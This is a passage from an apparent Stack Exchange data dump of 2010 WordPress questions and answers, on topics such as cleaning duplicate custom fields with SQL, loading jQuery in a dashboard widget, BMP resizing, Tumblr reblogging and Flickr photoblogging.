  <row Id="2866" PostTypeId="1" AcceptedAnswerId="2867" CreationDate="2010-10-13T18:30:00.153" Score="0" ViewCount="167" Body="&lt;p&gt;I am in the process of cleaning up a site after migrating it from a single install of WP to a multi-site install of WP. I have noticed many, many duplicate custom fields for each post. I assume this is from older versions of plugins that didn't check for the field before adding another. In the migration I am dropping these plugins.&lt;/p&gt;&#xA;&#xA;&lt;p&gt;Could I just delete these fields in the back-end using SQL or is there a better way?&lt;/p&gt;&#xA;&#xA;&lt;pre&gt;&lt;code&gt;SELECT * &#xA;FROM  `wp_5_postmeta` &#xA;WHERE  `meta_key` IN (&quot;podPressPostSpecific&quot;, &quot;aktt_tweeted&quot;, &quot;podPressMedia&quot;)&#xA;&lt;/code&gt;&lt;/pre&gt;&#xA;&#xA;&lt;p&gt;Only using &lt;code&gt;DELETE&lt;/code&gt; obviously.&lt;/p&gt;&#xA;" OwnerUserId="104" LastActivityDate="2011-04-29T11:42:25.040" Title="Duplicate (or more) custom fields on many posts. Is there an easy way to clean them up?" Tags="&lt;custom-field&gt;" AnswerCount="2" CommentCount="1" FavoriteCount="0" />
  <row Id="2867" PostTypeId="2" ParentId="2866" CreationDate="2010-10-13T18:49:41.650" Score="6" ViewCount="" Body="&lt;p&gt;If you're not going to use those plugins, have at it. No reason to keep them around. Direct SQL query should be fine.&lt;/p&gt;&#xA;&#xA;&lt;p&gt;Related: &lt;code&gt;add_post_meta()&lt;/code&gt; has a nifty argument to prevent this very problem. The fourth argument is a boolean, declaring whether the meta should be singular:&lt;/p&gt;&#xA;&#xA;&lt;pre&gt;&lt;code&gt;add_post_meta( $post-&amp;gt;ID, 'my_foo_bar', 'value', true );&#xA;&lt;/code&gt;&lt;/pre&gt;&#xA;&#xA;&lt;p&gt;Source: &lt;a href=&quot;http://codex.wordpress.org/Function_Reference/add_post_meta&quot; rel=&quot;nofollow&quot;&gt;Add Post Meta | WP Codex&lt;/a&gt;&lt;/p&gt;&#xA;" OwnerUserId="11" LastEditorUserId="11" LastEditorDisplayName="" LastEditDate="2010-10-13T19:35:45.803" LastActivityDate="2010-10-13T19:35:45.803" CommentCount="2" />
  <row Id="2868" PostTypeId="1" AcceptedAnswerId="2869" CreationDate="2010-10-13T19:09:16.173" Score="1" ViewCount="357" Body="&lt;p&gt;I'm attempting to use wp_enqueue_script('jquery') to load the builtin WP jquery library but my jquery functions aren't working when I do this. Only when I hardcode a reference to the script do my functions work...&lt;/p&gt;&#xA;&#xA;&lt;p&gt;Example that works... (this is inside my functions.php file, which is adding a dashboard widget)...&lt;/p&gt;&#xA;&#xA;&lt;pre&gt;&lt;code&gt;/* Dashboard Widget */&#xA;if(is_admin())&#xA;{&#xA;function my_dashboard_widget_function() &#xA;{ &#xA;    $rss = fetch_feed( &quot;http://mysite/my.rss&quot; );&#xA;    if ( is_wp_error($rss) ) &#xA;    {&#xA;        if ( is_admin() || current_user_can('manage_options') ) &#xA;        {&#xA;            echo '&amp;lt;p&amp;gt;';&#xA;            printf(__('&amp;lt;strong&amp;gt;RSS Error&amp;lt;/strong&amp;gt;: %s'), $rss-&amp;gt;get_error_message());&#xA;            echo '&amp;lt;/p&amp;gt;';&#xA;        }&#xA;     return;&#xA;    }&#xA;&#xA;    if ( !$rss-&amp;gt;get_item_quantity() ) &#xA;    {&#xA;        echo '&amp;lt;p&amp;gt;This feed is currently offline&amp;lt;/p&amp;gt;';&#xA;        $rss-&amp;gt;__destruct();&#xA;        unset($rss);&#xA;        return;&#xA;    }&#xA;echo &quot;&amp;lt;script type='text/javascript' src='http://ajax.googleapis.com/ajax/libs/jquery/1.4.2/jquery.min.js'&amp;gt;&amp;lt;/script&amp;gt;&quot;&#xA;&#xA;echo &quot;&amp;lt;script type='text/javascript'&amp;gt;//some jquery methods here&amp;lt;/script&amp;gt;&quot;;&#xA;&lt;/code&gt;&lt;/pre&gt;&#xA;&#xA;&lt;p&gt;Example that does not work...&lt;/p&gt;&#xA;&#xA;&lt;pre&gt;&lt;code&gt;/* Dashboard Widget */&#xA;if(is_admin())&#xA;{&#xA;function my_dashboard_widget_function() &#xA;{ &#xA;    $rss = fetch_feed( &quot;http://mysite/my.rss&quot; );&#xA;    if ( is_wp_error($rss) ) &#xA;    {&#xA;        if ( is_admin() || current_user_can('manage_options') ) &#xA;        {&#xA;            echo '&amp;lt;p&amp;gt;';&#xA;            printf(__('&amp;lt;strong&amp;gt;RSS Error&amp;lt;/strong&amp;gt;: %s'), $rss-&amp;gt;get_error_message());&#xA;            echo '&amp;lt;/p&amp;gt;';&#xA;        }&#xA;     return;&#xA;    }&#xA;&#xA;    if ( !$rss-&amp;gt;get_item_quantity() ) &#xA;    {&#xA;        echo '&amp;lt;p&amp;gt;This feed is currently offline&amp;lt;/p&amp;gt;';&#xA;        $rss-&amp;gt;__destruct();&#xA;        unset($rss);&#xA;        return;&#xA;    }&#xA;wp_enqueue_script('jquery');&#xA;echo &quot;&amp;lt;script type='text/javascript'&amp;gt;//some jquery methods here&amp;lt;/script&amp;gt;&quot;;&#xA;&lt;/code&gt;&lt;/pre&gt;&#xA;" OwnerUserId="366" LastActivityDate="2010-10-13T19:19:06.420" Title="How can I load jquery library into my dashboard widget?" Tags="&lt;jquery&gt;" AnswerCount="1" />
  <row Id="2869" PostTypeId="2" ParentId="2868" CreationDate="2010-10-13T19:19:06.420" Score="1" ViewCount="" Body="&lt;p&gt;You need to enqueue your script at certain points.  Rather than just placing the &lt;code&gt;wp_enqueue_script&lt;/code&gt; call inside your dashboard widget function, you need to place it in a separate function and hook on to the proper action.&lt;/p&gt;&#xA;&#xA;&lt;p&gt;So:&lt;/p&gt;&#xA;&#xA;&lt;pre&gt;&lt;code&gt;function add_jquery_to_my_widget() {&#xA;    wp_enqueue_script( 'jquery' );&#xA;}&#xA;add_action( 'init', 'add_jquery_to_my_widget' );&#xA;&lt;/code&gt;&lt;/pre&gt;&#xA;" OwnerUserId="46" LastActivityDate="2010-10-13T19:19:06.420" CommentCount="1" />
  <row Id="2870" PostTypeId="2" ParentId="2837" CreationDate="2010-10-13T20:30:20.053" Score="3" ViewCount="" Body="&lt;p&gt;Have you try &lt;a href=&quot;http://docs.google.com/&quot; rel=&quot;nofollow&quot;&gt;google docs&lt;/a&gt;? you can embed their form as iframe which is easiest solution.&lt;/p&gt;&#xA;" OwnerUserId="1121" LastActivityDate="2010-10-13T20:30:20.053" CommentCount="3" />
  <row Id="2871" PostTypeId="2" ParentId="2838" CreationDate="2010-10-13T20:42:45.437" Score="2" ViewCount="" Body="&lt;p&gt;I just figured out my own issue which I am hoping might help others if they get stuck in this situation.&lt;/p&gt;&#xA;&#xA;&lt;p&gt;Essentially the problem seemed to be that modsecurity caused the 500 Internal Server error because for some reason (which I have yet to understand) the menu page was sending a bunch of data in the response body.&lt;/p&gt;&#xA;&#xA;&lt;p&gt;To resolve the problem I just needed to add the following to my vhost.conf file and restart apache. Here I doubled the response body size.&lt;/p&gt;&#xA;&#xA;&lt;pre&gt;&lt;code&gt;SecResponseBodyLimit 1572864&#xA;&lt;/code&gt;&lt;/pre&gt;&#xA;" OwnerUserId="479" LastActivityDate="2010-10-13T20:42:45.437" CommentCount="5" />
  <row Id="2872" PostTypeId="5" CreationDate="2010-10-13T21:09:52.793" Score="0" ViewCount="0" Body="&lt;p&gt;The core of WordPress is designed to be lean, to maximize flexibility and minimize code bloat. Plugins offer custom functions and features so that each user can tailor their site to their specific needs.&lt;/p&gt;&#xA;&#xA;&lt;p&gt;For instructions and information on downloading, installing, upgrading, troubleshooting, and managing your WordPress Plugins, see &lt;a href=&quot;http://codex.wordpress.org/Managing_Plugins&quot; rel=&quot;nofollow&quot;&gt;Managing Plugins&lt;/a&gt;. If you want to develop your own plugin, there is a comprehensive list of resources in &lt;a href=&quot;http://codex.wordpress.org/Plugin_Resources&quot; rel=&quot;nofollow&quot;&gt;Plugin Resources&lt;/a&gt;.&lt;/p&gt;&#xA;&#xA;&lt;h2&gt;Plugin Repositories&lt;/h2&gt;&#xA;&#xA;&lt;p&gt;WordPress Plugins are available from several sources. The &quot;official&quot; sources for WordPress Plugins are:&lt;/p&gt;&#xA;&#xA;&lt;ul&gt;&#xA;&lt;li&gt;&lt;a href=&quot;http://wordpress.org/extend/plugins/&quot; rel=&quot;nofollow&quot;&gt;Official WordPress Plugins Repository&lt;/a&gt;&lt;/li&gt;&#xA;&lt;/ul&gt;&#xA;&#xA;&lt;p&gt;Not all WordPress Plugins make it into the above repositories. Try searching the web for &quot;WordPress Plugin&quot; and the keywords for the type of functionality you are seeking.&lt;/p&gt;&#xA;&#xA;&lt;h2&gt;Default Plugins&lt;/h2&gt;&#xA;&#xA;&lt;p&gt;The following plugins are included with the WordPress core distribution:&lt;/p&gt;&#xA;&#xA;&lt;h3&gt;&lt;a href=&quot;http://codex.wordpress.org/Akismet&quot; rel=&quot;nofollow&quot;&gt;Akismet&lt;/a&gt;&lt;/h3&gt;&#xA;&#xA;&lt;p&gt;Akismet checks your comments against the Akismet web service to see if they look like spam or not. You can review the spam it catches under &quot;Manage&quot; and it automatically deletes old spam after 15 days.&lt;/p&gt;&#xA;&#xA;&lt;h3&gt;Hello Dolly&lt;/h3&gt;&#xA;&#xA;&lt;p&gt;This is not just a plugin, it symbolizes the hope and enthusiasm of an entire generation summed up in two words sung most famously by Louis Armstrong. Hello, Dolly. This is, by the way, the world's first official WordPress Plugin. When enabled you will randomly see a lyric from &quot;Hello, Dolly&quot; in the upper right of your Administration Panels on every page but the Plugins panel.&lt;/p&gt;&#xA;" OwnerUserId="-1" LastEditorUserId="46" LastEditorDisplayName="" LastEditDate="2010-10-13T21:09:52.793" LastActivityDate="2010-10-13T21:09:52.793" />
  <row Id="2873" PostTypeId="4" CreationDate="2010-10-13T21:09:52.793" Score="0" ViewCount="0" Body="Plugins are tools to extend the functionality of WordPress." OwnerUserId="-1" LastEditorUserId="46" LastEditorDisplayName="" LastEditDate="2010-10-13T21:09:52.793" LastActivityDate="2010-10-13T21:09:52.793" />
  <row Id="2874" PostTypeId="5" CreationDate="2010-10-13T21:15:29.870" Score="0" ViewCount="0" Body="&lt;h2&gt;What is a Theme?&lt;/h2&gt;&#xA;&#xA;&lt;p&gt;Fundamentally, the WordPress Theme system is a way to &quot;skin&quot; your weblog. Yet, it is more than just a &quot;skin.&quot; Skinning your site implies that only the design is changed. WordPress Themes can provide much more control over the look and &lt;em&gt;presentation&lt;/em&gt; of the material on your website.&lt;/p&gt;&#xA;&#xA;&lt;p&gt;A WordPress Theme is a collection of files that work together to produce a graphical interface with an underlying unifying design for a weblog. These files are called &lt;a href=&quot;http://codex.wordpress.org/Templates&quot; rel=&quot;nofollow&quot;&gt;template files&lt;/a&gt;. A Theme modifies the way the site is displayed, without modifying the underlying software. Themes may include customized template files, image files (&lt;code&gt;*.jpg&lt;/code&gt;, &lt;code&gt;*.gif&lt;/code&gt;), style sheets (&lt;code&gt;*.css&lt;/code&gt;), custom &lt;a href=&quot;http://codex.wordpress.org/Pages&quot; rel=&quot;nofollow&quot;&gt;Pages&lt;/a&gt;, as well as any necessary code files (&lt;code&gt;*.php&lt;/code&gt;). For an introduction to template files, see &lt;a href=&quot;http://codex.wordpress.org/Stepping_Into_Templates&quot; rel=&quot;nofollow&quot;&gt;Stepping Into Templates&lt;/a&gt;.&lt;/p&gt;&#xA;&#xA;&lt;p&gt;Let's say you write a lot about cheese and gadgets. Through the use of the &lt;a href=&quot;http://codex.wordpress.org/The_Loop&quot; rel=&quot;nofollow&quot;&gt;WordPress Loop&lt;/a&gt; and &lt;a href=&quot;http://codex.wordpress.org/Templates&quot; rel=&quot;nofollow&quot;&gt;template files&lt;/a&gt;, you can customize your Cheese category posts to look different from your Gadgets category posts. With this powerful control over what different pages and categories look like on your site, you are limited only by your imagination. For information on how to use different Themes for different categories or posts, see &lt;a href=&quot;http://codex.wordpress.org/The_Loop_in_Action&quot; rel=&quot;nofollow&quot;&gt;The Loop in Action&lt;/a&gt; and &lt;a href=&quot;http://codex.wordpress.org/Category_Templates&quot; rel=&quot;nofollow&quot;&gt;Category Templates&lt;/a&gt;.&lt;/p&gt;&#xA;&#xA;&lt;h2&gt;Get New Themes&lt;/h2&gt;&#xA;&#xA;&lt;p&gt;The &lt;a href=&quot;http://wordpress.org/extend/themes/&quot; rel=&quot;nofollow&quot;&gt;WordPress Theme Directory&lt;/a&gt; is the official site for WordPress Themes which have been checked and inspected, and are free for downloading. The site features the ability to search by type and style, and offers a demonstration of the page view elements of the Theme.&lt;/p&gt;&#xA;" OwnerUserId="-1" LastEditorUserId="46" LastEditorDisplayName="" LastEditDate="2010-10-13T21:15:29.870" LastActivityDate="2010-10-13T21:15:29.870" />
  <row Id="2875" PostTypeId="4" CreationDate="2010-10-13T21:15:29.870" Score="0" ViewCount="0" Body="A WordPress Theme is a collection of files that work together to produce a graphical interface with an underlying unifying design for a blog." OwnerUserId="-1" LastEditorUserId="46" LastEditorDisplayName="" LastEditDate="2010-10-13T21:15:29.870" LastActivityDate="2010-10-13T21:15:29.870" />
  <row Id="2876" PostTypeId="1" AcceptedAnswerId="2878" CreationDate="2010-10-13T21:23:32.983" Score="0" ViewCount="535" Body="&lt;p&gt;If you have a Tumblr blog, you can 'reblog' from other Tumblr blogs, much like a trackback. I follow a couple of Tumblr blogs and sometimes want to quote from those websites. And, on these Tumblr sites, there is a 'notes' section for each post listing each 'reblog'. So my question is: is there some WordPress plugin (or some workaround not requiring a plugin) that will allow me to 'reblog' from a Tumblr site to my WordPress one and have it show up in the 'notes' section of the Tumblr blog?&lt;/p&gt;&#xA;&#xA;&lt;p&gt;My site is a wordpress.org blog, if that makes a difference. And I am running WordPress 3.0.1.&lt;/p&gt;&#xA;&#xA;&lt;p&gt;Thanks in advance!&lt;/p&gt;&#xA;" OwnerUserId="1238" LastActivityDate="2010-10-13T21:57:17.273" Title="Reblog from Tumblr to Wordpress" Tags="&lt;plugins&gt;&lt;3.0.1&gt;&lt;wordpress.org&gt;" AnswerCount="1" />
  <row Id="2877" PostTypeId="2" ParentId="2813" CreationDate="2010-10-13T21:52:21.540" Score="0" ViewCount="" Body="&lt;p&gt;i spent hours trying exactly what you wrote and although started googling and researching...&#xA;it does simply not work. I although wrote a small functon which shows the rewrite rules in the admin. i made a screen shot and attached it and although some link. Would be great if you or somebody has an solution or idea....&lt;/p&gt;&#xA;&#xA;&lt;p&gt;here is one link which should work. i leave the categories out to simplify it a little bit. &lt;/p&gt;&#xA;&#xA;&lt;p&gt;&lt;a href=&quot;http://localhost/myurl.com/summarizes/interviews/from-this-week&quot; rel=&quot;nofollow&quot;&gt;http://localhost/myurl.com/summarizes/interviews/from-this-week&lt;/a&gt;&lt;/p&gt;&#xA;&#xA;&lt;p&gt;i'm not allowed to attach a screen shot, this is the rule which gets added&lt;/p&gt;&#xA;&#xA;&lt;p&gt;(from-this-week|from-this-month|since-big-bang)/?$  index.php&#xA;(summarizes/interviews)/(from-this-week|from-this-month|since-big-bang)/?$  index.php&lt;/p&gt;&#xA;" LastActivityDate="2010-10-13T21:52:21.540" />
  <row Id="2878" PostTypeId="2" ParentId="2876" CreationDate="2010-10-13T21:57:17.273" Score="4" ViewCount="" Body="&lt;p&gt;I just did a quick search on the Reblog concept because, admittedly, I've never used Tumblr and had no idea what you were talking about.  After reading a bit about it, it started to sound very familiar ...&lt;/p&gt;&#xA;&#xA;&lt;p&gt;Most blogs today allow you to add a ReTweet (Twitter), Like (Facebook), or Share This (Generic) button directly on the post.  These are very network-specific and key in directly to the APIs of various social networking and crowdsourcing applications.  Tumblr, since they run a succinct network of blogs, did the same thing.  The Reblog button allows you to quickly repost content on your own site within the Tumblr network.  As &lt;a href=&quot;http://newcritics.com/blog1/2008/01/26/the-reblog-button/&quot; rel=&quot;nofollow&quot;&gt;one site mentioned&lt;/a&gt;, not very extensible, but still pretty cool.&lt;/p&gt;&#xA;&#xA;&lt;p&gt;The difference is, each self-hosted WordPress blog &lt;strong&gt;&lt;em&gt;is its own web application&lt;/em&gt;&lt;/strong&gt;.  So there's not really any way you can have blog authors put up a &quot;share on your own self-hosted application&quot; widget on their sites.  Fortunately, &lt;em&gt;there is a solution.&lt;/em&gt;&lt;/p&gt;&#xA;&#xA;&lt;h2&gt;Press This&lt;/h2&gt;&#xA;&#xA;&lt;p&gt;Some time ago, WordPress introduced a bookmarklet called &lt;a href=&quot;http://codex.wordpress.org/Press_It&quot; rel=&quot;nofollow&quot;&gt;Press It&lt;/a&gt;.  This was a snippet of JavaScript code that lived in your bookmarks toolbar and allowed you to quickly and easily re-post interesting content you found online to your own site.  As of WordPress version 2.6, the feature has been replaced by &lt;a href=&quot;http://codex.wordpress.org/Press_This&quot; rel=&quot;nofollow&quot;&gt;Press This&lt;/a&gt;, a similar bookmarklet that allows you to &lt;/p&gt;&#xA;&#xA;&lt;blockquote&gt;&#xA;  &lt;p&gt;create a post by quoting some text, images, and videos on any web page.&lt;/p&gt;&#xA;&lt;/blockquote&gt;&#xA;&#xA;&lt;p&gt;To use Press This, go to your Tools sub-panel and drag the &quot;Press This&quot; link into your bookmarks toolbar.&lt;/p&gt;&#xA;&#xA;&lt;p&gt;&lt;img src=&quot;http://i.stack.imgur.com/NxUak.png&quot; alt=&quot;Tools sub-panel&quot;&gt;&lt;/p&gt;&#xA;&#xA;&lt;p&gt;When you're browsing the Internet and you find something you like, highlight the text (or don't and you'll use the entire page's content) and click the Press This bookmark.  A pop-up window will appear allowing you to instantly edit and post the content you're viewing.&lt;/p&gt;&#xA;&#xA;&lt;p&gt;&lt;img src=&quot;http://i.stack.imgur.com/BMlCw.png&quot; alt=&quot;Press This pop-up window&quot;&gt;&lt;/p&gt;&#xA;&#xA;&lt;p&gt;As far as showing up in the notes section of a Tumblr blog, that's an entirely different issue.  You're looking for a very specific, custom integration between two different platforms ...  I have found &lt;a href=&quot;http://wordpress.org/extend/plugins/wp2tumblr/&quot; rel=&quot;nofollow&quot;&gt;one plug-in&lt;/a&gt; that will automatically post to a Tumblr blog from WordPress, but the last time it was updated was April of 2008 so I'm not sure it'll be too much help.  There's also a synchronizing system called &lt;a href=&quot;http://wordpress.org/extend/plugins/tumblrize/&quot; rel=&quot;nofollow&quot;&gt;Tumblrize&lt;/a&gt; that will automatically post your WordPress content to Tumblr, update it when you change things on WP, and update the WP copy if you change things on Tumblr.&lt;/p&gt;&#xA;" OwnerUserId="46" LastActivityDate="2010-10-13T21:57:17.273" CommentCount="1" />
  <row Id="2879" PostTypeId="2" ParentId="2198" CreationDate="2010-10-13T22:07:03.300" Score="2" ViewCount="" Body="&lt;p&gt;&lt;strong&gt;In Wordpress Admin&lt;/strong&gt;&lt;/p&gt;&#xA;&#xA;&lt;ol&gt;&#xA;&lt;li&gt;Enable the JanRain Engage plugin&lt;/li&gt;&#xA;&lt;li&gt;Go to Settings &gt; Janrain Engage and enter your Engage API Key (which you can find on your Janrain dashboard under API Key).&lt;/li&gt;&#xA;&lt;li&gt;Turn on self-registration.&lt;/li&gt;&#xA;&lt;/ol&gt;&#xA;&#xA;&lt;p&gt;&lt;strong&gt;On the Janrain Dashboard&lt;/strong&gt;&lt;/p&gt;&#xA;&#xA;&lt;ol&gt;&#xA;&lt;li&gt;Add your Wordpress domain under the Your Domains section.&lt;/li&gt;&#xA;&lt;li&gt;Go to Sign-in and select the Choose Providers section. Pick the providers you want to support.&lt;/li&gt;&#xA;&lt;/ol&gt;&#xA;&#xA;&lt;p&gt;Go to your wordpress blog and it should allow you to pick one of your configured providers for logging in and for registering.&lt;/p&gt;&#xA;" OwnerUserId="182" LastActivityDate="2010-10-13T22:07:03.300" />
  <row Id="2880" PostTypeId="1" AcceptedAnswerId="2907" CreationDate="2010-10-13T22:10:44.677" Score="2" ViewCount="278" Body="&lt;p&gt;Interesting situation i just ran into.&lt;/p&gt;&#xA;&#xA;&lt;p&gt;I have a site I am developing in which I have defined specific image sizes I want created whenever a new image is uploaded. Currently lets just say that I defined a specific thumbnail size of 75x75 and a medium sized image of 150x150 pixels.&lt;/p&gt;&#xA;&#xA;&lt;p&gt;Assuming we proceed to upload a new image using the built in media uploader we would expect that Wordpress will automatically upload and store the original image along with any additional images sizes which I have specified in my functions.php file (in this case the 75x75 and 150x150 pixel images).&lt;/p&gt;&#xA;&#xA;&lt;p&gt;First of all, the above illustrated example is indeed working perfectly and I am very happy with the results.&lt;/p&gt;&#xA;&#xA;&lt;p&gt;What I have noticed though is that &lt;strong&gt;when you pick a bmp file&lt;/strong&gt; to upload the automatic resizing does not take place.&lt;/p&gt;&#xA;&#xA;&lt;p&gt;My objective here is to figure out who else might have noticed this issue while attempting to find a solution for this problem. I need to ensure that even when a large bmp file is uploaded that the code&lt;/p&gt;&#xA;&#xA;&lt;pre&gt;&lt;code&gt;the_post_thumbnail( array(50,50), 'class=alignleft' );&#xA;&lt;/code&gt;&lt;/pre&gt;&#xA;&#xA;&lt;p&gt;will show the 50x50 pixel image.&lt;/p&gt;&#xA;&#xA;&lt;p&gt;Just in case anyone is interested, I have confirmed this issue is specifically related to bmp image by taking the original bmp image and saving it as a jpg and png file through photoshop and then using the wordpress media manager to upload the same files converted by photoshop... In both cases I noticed that after uploading each converted file the exact same images WERE correctly being resized.&lt;/p&gt;&#xA;&#xA;&lt;p&gt;I should also point out that when a bmp file image was uploaded the actual upload of that file DID take place however in the media manager only the original (full size) image was available to insert into posts and checking the media upload folder also only showed a single image.&lt;/p&gt;&#xA;&#xA;&lt;p&gt;Any guidance, help or diagnosis is greatly appreciated!&lt;/p&gt;&#xA;" OwnerUserId="479" LastEditorUserId="479" LastEditorDisplayName="" LastEditDate="2010-10-13T22:37:25.757" LastActivityDate="2010-10-14T20:51:25.237" Title="Can Wordpress resize BMP files?" Tags="&lt;images&gt;&lt;image&gt;&lt;image-size&gt;" AnswerCount="1" CommentCount="6" FavoriteCount="1" />
  <row Id="2881" PostTypeId="2" ParentId="2198" CreationDate="2010-10-13T22:20:37.800" Score="0" ViewCount="" Body="&lt;p&gt;An interesting article on the PHP, non-WP side of implementing SOS is here: &lt;a href=&quot;http://www.merchantos.com/makebeta/php/single-sign-on-with-openid-and-google-part-1/&quot; rel=&quot;nofollow&quot;&gt;http://www.merchantos.com/makebeta/php/single-sign-on-with-openid-and-google-part-1/&lt;/a&gt;&lt;/p&gt;&#xA;&#xA;&lt;p&gt;Might be a good start at a custom plugin.&lt;/p&gt;&#xA;" OwnerUserId="10" LastActivityDate="2010-10-13T22:20:37.800" />
  <row Id="2882" PostTypeId="2" ParentId="2830" CreationDate="2010-10-13T23:24:14.003" Score="5" ViewCount="" Body="&lt;p&gt;Hi &lt;strong&gt;@Toby&lt;/strong&gt;: &lt;/p&gt;&#xA;&#xA;&lt;p&gt;There are &lt;strong&gt;lots of ways to accomplish a daily picture blog&lt;/strong&gt; so I'll just give you how I'd approach it. &lt;/p&gt;&#xA;&#xA;&lt;p&gt;If I wanted to set up a photoblog on WordPress I'd start with a &lt;a href=&quot;http://www.flickr.com&quot; rel=&quot;nofollow&quot;&gt;&lt;strong&gt;Flickr&lt;/strong&gt;&lt;/a&gt; account and leverage it &lt;em&gt;(or if you don't like Flickr for some reason you can also look at &lt;a href=&quot;http://photobucket.com/&quot; rel=&quot;nofollow&quot;&gt;PhotoBucket&lt;/a&gt;, &lt;a href=&quot;http://www.smugmug.com/&quot; rel=&quot;nofollow&quot;&gt;SmugMug&lt;/a&gt;, &lt;a href=&quot;http://picasaweb.google.com/&quot; rel=&quot;nofollow&quot;&gt;Picasa&lt;/a&gt; or &lt;a href=&quot;http://www.inquisitr.com/1095/6-alternatives-to-flickr-now-yahoo-is-in-full-control/&quot; rel=&quot;nofollow&quot;&gt;one&lt;/a&gt; of the &lt;a href=&quot;http://www.fluther.com/5846/which-is-the-best-flickr-alternative/&quot; rel=&quot;nofollow&quot;&gt;other&lt;/a&gt; Flickr &lt;a href=&quot;http://www.photographybay.com/2007/12/03/flickr-alternatives/&quot; rel=&quot;nofollow&quot;&gt;alternatives&lt;/a&gt;.)&lt;/em&gt;&lt;/p&gt;&#xA;&#xA;&lt;h2&gt;Using Flickr&lt;/h2&gt;&#xA;&#xA;&lt;p&gt;With Flickr there &lt;a href=&quot;http://arstechnica.com/apple/guides/2009/12/flickr-uploading-alternatives-for-the-discerning-iphoto-user.ars&quot; rel=&quot;nofollow&quot;&gt;&lt;strong&gt;are&lt;/strong&gt;&lt;/a&gt; &lt;a href=&quot;http://www.tothepc.com/archives/10-tools-to-upload-images-to-flickr-with-ease/&quot; rel=&quot;nofollow&quot;&gt;&lt;strong&gt;bulk&lt;/strong&gt;&lt;/a&gt; &lt;a href=&quot;http://www.labnol.org/internet/pictures/batch-upload-photographs-to-flickr/1825/&quot; rel=&quot;nofollow&quot;&gt;&lt;strong&gt;uploading&lt;/strong&gt;&lt;/a&gt; &lt;a href=&quot;http://www.flickr.com/tools/&quot; rel=&quot;nofollow&quot;&gt;&lt;strong&gt;tools&lt;/strong&gt;&lt;/a&gt; to make it easy for your to upload lots of photos including &lt;a href=&quot;http://pulse2.com/2010/07/20/list-of-80-flickr-tools-and-games-used-for-pictures-management-sharing-etc/&quot; rel=&quot;nofollow&quot;&gt;&lt;strong&gt;lots of tools for managing a large number of photos&lt;/strong&gt;&lt;/a&gt;.&lt;/p&gt;&#xA;&#xA;&lt;p&gt;Flickr itself has &lt;a href=&quot;http://www.flickr.com/help/blogging/&quot; rel=&quot;nofollow&quot;&gt;&lt;strong&gt;built-in tools to support photo-blogging&lt;/strong&gt;&lt;/a&gt; including &lt;a href=&quot;http://www.flickr.com/account/uploadbyemail/&quot; rel=&quot;nofollow&quot;&gt;&lt;strong&gt;email-to-blog&lt;/strong&gt;&lt;/a&gt;.&lt;/p&gt;&#xA;&#xA;&lt;p&gt;And if the existing tools don't give you enough control with Flickr &lt;strong&gt;you can always write some PHP scripts to integrate and automate&lt;/strong&gt;. There are lots of blog posts to show you how &lt;em&gt;(and I'll show you how to write one as well, below):&lt;/em&gt;&lt;/p&gt;&#xA;&#xA;&lt;ul&gt;&#xA;&lt;li&gt;&lt;a href=&quot;http://www.web-development-blog.com/archives/search-for-photos-using-php-and-the-flickr-api/&quot; rel=&quot;nofollow&quot;&gt;&lt;strong&gt;Search for photos using PHP and the flickr API&lt;/strong&gt;&lt;/a&gt;&lt;/li&gt;&#xA;&lt;li&gt;&lt;a href=&quot;http://toys.lerdorf.com/archives/34-Flickr-API-Fun.html&quot; rel=&quot;nofollow&quot;&gt;&lt;strong&gt;Flickr API Fun&lt;/strong&gt;&lt;/a&gt;&lt;/li&gt;&#xA;&lt;li&gt;&lt;a href=&quot;http://www.flickr.com/services/api/response.php.html&quot; rel=&quot;nofollow&quot;&gt;&lt;strong&gt;Serialized PHP Response Format&lt;/strong&gt;&lt;/a&gt;&lt;/li&gt;&#xA;&lt;li&gt;&lt;a href=&quot;http://net.tutsplus.com/tutorials/php/how-to-create-a-photo-gallery-using-the-flickr-api/&quot; rel=&quot;nofollow&quot;&gt;&lt;strong&gt;How to Create a Photo Gallery using the Flickr API&lt;/strong&gt;&lt;/a&gt;&lt;/li&gt;&#xA;&lt;li&gt;&lt;a href=&quot;http://devzone.zend.com/article/11775&quot; rel=&quot;nofollow&quot;&gt;&lt;strong&gt;Integrating Flickr Photo Streams with PHP&lt;/strong&gt;&lt;/a&gt;&lt;/li&gt;&#xA;&lt;li&gt;&lt;a href=&quot;http://wynia.org/wordpress/2005/12/5-lessons-in-getting-started-with-the-flickr-api-and-php&quot; rel=&quot;nofollow&quot;&gt;&lt;strong&gt;5 Lessons in Getting Started with the Flickr API and PHP&lt;/strong&gt;&lt;/a&gt;&lt;/li&gt;&#xA;&lt;/ul&gt;&#xA;&#xA;&lt;p&gt;And at least a few PHP libraries to simplify access to the Flickr API:&lt;/p&gt;&#xA;&#xA;&lt;ul&gt;&#xA;&lt;li&gt;&lt;a href=&quot;http://phpflickr.com/2010/05/13/phpflickr-3-0-released/&quot; rel=&quot;nofollow&quot;&gt;&lt;strong&gt;phpFlickr&lt;/strong&gt;&lt;/a&gt;&lt;/li&gt;&#xA;&lt;li&gt;&lt;a href=&quot;http://laughingmeme.org/2008/12/11/my-flickr-api-library-for-php/&quot; rel=&quot;nofollow&quot;&gt;&lt;strong&gt;Laughing Meme Flickr API Library for PHP&lt;/strong&gt;&lt;/a&gt;&lt;/li&gt;&#xA;&lt;/ul&gt;&#xA;&#xA;&lt;h2&gt;Exploring the Flickr API&lt;/h2&gt;&#xA;&#xA;&lt;p&gt;So let's say you want to do a little simple photo blogging to WordPress using files that have been uploaded to Flickr? The first step is to &lt;strong&gt;get an API Key&lt;/strong&gt;:&lt;/p&gt;&#xA;&#xA;&lt;ul&gt;&#xA;&lt;li&gt;&lt;a href=&quot;http://www.flickr.com/services/apps/create/apply/&quot; rel=&quot;nofollow&quot;&gt;&lt;strong&gt;The Flickr App Garden - Create an App&lt;/strong&gt;&lt;/a&gt;&lt;/li&gt;&#xA;&lt;/ul&gt;&#xA;&#xA;&lt;p&gt;While you are at it you might want to just scan the API docs:&lt;/p&gt;&#xA;&#xA;&lt;ul&gt;&#xA;&lt;li&gt;&lt;a href=&quot;http://www.flickr.com/services/api/&quot; rel=&quot;nofollow&quot;&gt;&lt;strong&gt;Flickr API Documentation&lt;/strong&gt;&lt;/a&gt;&lt;/li&gt;&#xA;&lt;/ul&gt;&#xA;&#xA;&lt;p&gt;Now there are a bunch of different ways to query Flickr via their API. I'll show how by &lt;a href=&quot;http://www.flickr.com/services/api/flickr.photosets.getPhotos.html&quot; rel=&quot;nofollow&quot;&gt;&lt;strong&gt;Querying a Photo Set&lt;/strong&gt;&lt;/a&gt; but you could also consider &lt;a 